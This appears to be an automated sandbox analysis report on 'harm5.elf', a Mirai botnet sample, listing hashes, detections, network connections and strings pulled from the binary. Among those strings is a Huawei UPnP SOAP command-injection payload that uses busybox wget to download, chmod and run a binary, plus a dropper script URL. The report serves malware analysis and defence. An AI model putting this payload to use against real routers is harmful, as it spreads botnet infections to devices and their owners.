Linux Analysis Report
harm5.elf

Overview

General Information

Sample name: harm5.elf
Analysis ID: 1546611
MD5: 32572c3cd5ccdc3ce70819f7bf330204
SHA1: d9e055d7d6c574098bf9c9f75da7666a6d14491a
SHA256: fab327fbb72ab797d94f685feb5f285c3e556d9e49715e174333c8a554d750d0
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai
Score: 80
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Connects to many ports of the same IP (likely port scanning)
Sample reads /proc/mounts (often used for finding a writable filesystem)
Detected TCP or UDP traffic on non-standard ports
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: harm5.elf Avira: detected
Source: harm5.elf ReversingLabs: Detection: 52%

Networking

barindex
Source: global traffic TCP traffic: 213.182.204.57 ports 9334,0,1,3,5,13035
Source: global traffic TCP traffic: 193.233.193.45 ports 1,5,7,8,1857,17669
Source: global traffic TCP traffic: 192.168.2.23:43344 -> 31.13.248.89:7347
Source: global traffic TCP traffic: 192.168.2.23:33782 -> 193.233.193.45:1857
Source: global traffic TCP traffic: 192.168.2.23:44052 -> 91.149.218.232:24145
Source: global traffic TCP traffic: 192.168.2.23:44588 -> 213.182.204.57:13035
Source: global traffic TCP traffic: 192.168.2.23:43400 -> 88.151.195.22:13493
Source: global traffic TCP traffic: 192.168.2.23:53464 -> 91.149.238.18:20344
Source: global traffic TCP traffic: 192.168.2.23:36524 -> 81.29.149.178:13433
Source: global traffic TCP traffic: 192.168.2.23:38882 -> 217.28.130.41:7562
Source: /tmp/harm5.elf (PID: 6226) Socket: 127.0.0.1:1172 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown UDP traffic detected without corresponding DNS query: 81.169.136.222
Source: unknown UDP traffic detected without corresponding DNS query: 81.169.136.222
Source: unknown UDP traffic detected without corresponding DNS query: 202.61.197.122
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown UDP traffic detected without corresponding DNS query: 81.169.136.222
Source: unknown UDP traffic detected without corresponding DNS query: 5.161.109.23
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown UDP traffic detected without corresponding DNS query: 185.181.61.24
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown UDP traffic detected without corresponding DNS query: 137.220.52.23
Source: unknown UDP traffic detected without corresponding DNS query: 5.161.109.23
Source: unknown UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown UDP traffic detected without corresponding DNS query: 217.160.70.42
Source: unknown UDP traffic detected without corresponding DNS query: 80.152.203.134
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown UDP traffic detected without corresponding DNS query: 152.53.15.127
Source: unknown UDP traffic detected without corresponding DNS query: 64.176.6.48
Source: unknown UDP traffic detected without corresponding DNS query: 139.84.165.176
Source: unknown UDP traffic detected without corresponding DNS query: 152.53.15.127
Source: unknown UDP traffic detected without corresponding DNS query: 178.254.22.166
Source: unknown UDP traffic detected without corresponding DNS query: 185.181.61.24
Source: unknown UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown UDP traffic detected without corresponding DNS query: 70.34.254.19
Source: unknown UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown UDP traffic detected without corresponding DNS query: 70.34.254.19
Source: global traffic DNS traffic detected: DNS query: kingstonwikkerink.dyn
Source: harm5.elf, 6233.1.00007efcdc036000.00007efcdc03c000.rw-.sdmp String found in binary or memory: http://hailcocks.ru/wget.sh;
Source: harm5.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: harm5.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
Source: Initial sample String containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal80.troj.linELF@0/0@23/0

Persistence and Installation Behavior

barindex
Source: /tmp/harm5.elf (PID: 6228) File: /proc/6228/mounts Jump to behavior
Source: /tmp/harm5.elf (PID: 6226) Queries kernel information via 'uname': Jump to behavior
Source: harm5.elf, 6233.1.00007fffd2b46000.00007fffd2b67000.rw-.sdmp Binary or memory string: ~qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: harm5.elf, 6226.1.000055fa0d23d000.000055fa0d3b3000.rw-.sdmp, harm5.elf, 6228.1.000055fa0d23d000.000055fa0d3b3000.rw-.sdmp, harm5.elf, 6233.1.000055fa0d23d000.000055fa0d3b3000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: harm5.elf, 6226.1.000055fa0d23d000.000055fa0d3b3000.rw-.sdmp, harm5.elf, 6228.1.000055fa0d23d000.000055fa0d3b3000.rw-.sdmp, harm5.elf, 6233.1.000055fa0d23d000.000055fa0d3b3000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: harm5.elf, 6226.1.00007fffd2b46000.00007fffd2b67000.rw-.sdmp, harm5.elf, 6228.1.00007fffd2b46000.00007fffd2b67000.rw-.sdmp, harm5.elf, 6233.1.00007fffd2b46000.00007fffd2b67000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: harm5.elf, 6226.1.00007fffd2b46000.00007fffd2b67000.rw-.sdmp, harm5.elf, 6228.1.00007fffd2b46000.00007fffd2b67000.rw-.sdmp, harm5.elf, 6233.1.00007fffd2b46000.00007fffd2b67000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/harm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/harm5.elf
Source: harm5.elf, 6233.1.00007fffd2b46000.00007fffd2b67000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

barindex
Source: Yara match File source: harm5.elf, type: SAMPLE
Source: Yara match File source: 6233.1.00007efcdc017000.00007efcdc02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6226.1.00007efcdc017000.00007efcdc02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6228.1.00007efcdc017000.00007efcdc02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: harm5.elf PID: 6226, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: harm5.elf PID: 6228, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: harm5.elf PID: 6233, type: MEMORYSTR

Remote Access Functionality

barindex
Source: Yara match File source: harm5.elf, type: SAMPLE
Source: Yara match File source: 6233.1.00007efcdc017000.00007efcdc02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6226.1.00007efcdc017000.00007efcdc02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6228.1.00007efcdc017000.00007efcdc02d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: harm5.elf PID: 6226, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: harm5.elf PID: 6228, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: harm5.elf PID: 6233, type: MEMORYSTR
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs